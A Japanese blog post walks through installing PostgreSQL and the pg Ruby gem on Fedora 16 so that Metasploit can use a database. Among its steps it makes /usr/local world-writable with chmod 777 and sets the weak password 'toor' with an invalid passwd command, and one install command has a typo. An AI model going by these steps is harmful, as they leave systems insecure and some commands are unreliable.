何処でつまづいたかと言うと、「gem install pg」の部分でつまづきました。
いろいろなサイトを見て回り、同じようなことを行っても全然インストールすることができない。
エラーの内容的には下記のような表示がされる。もっと長かったけど省略。
Building native extensions. This could take a while...
ERROR: Error installing pg:
ERROR: Failed to build gem native extension.
...
環境は、Fedora16(32bit)です。
ここからは、行った手順を記載していきます。
#yum update
OSをインストールしたばっかりだったので、まずは更新作業から。
postgresqlのインストール
#yum install postgresql-server
環境変数設定
このままでは、「initdb」ができないので、環境変数を設定する
#POSTGRES_HOME=/usr/local/pgsql
#PGLIB=$POSTGRES_HOME/lib; export PGLIB
#PGDATA=$POSTGRES_HOME/data; export PGDATA
/usr/localのパーミッション変更
postgresqlがパーミッションエラーで、読み込めないと言われるので、適当にパーミッション変更。
#chmod 777 /usr/local
/usr/bin/initdb 実行
postgresqlをインストール時に自動で作成された「postgres」ユーザになり、initdbコマンド実行
/usr/bin/initdb
initdbが終了すると、下記のコマンドのどちらかを実行して下さい的なメッセージが出るので実行する。
/usr/bin/postgres -D /usr/local/pgsql/data start
上のコマンドを実行する。initdb時のメッセージには、logファイル的なのを指定しているが省略する。
postgresユーザのパスワード変更
#passwd postgres toor
データベース作成
pgsqlで適当なデータベースを作成する。
pgをインストールするために以下のパッケージをインストールする
yum install gcc
ym install ruby
yum install rubygems
yum install ruby-devel
yum install libpcap-devel
yum install postgresql-devel
準備が整ったので、gemでpgをインストールする
gem install pg
以上で、metasploitからDBに接続できるようになりました。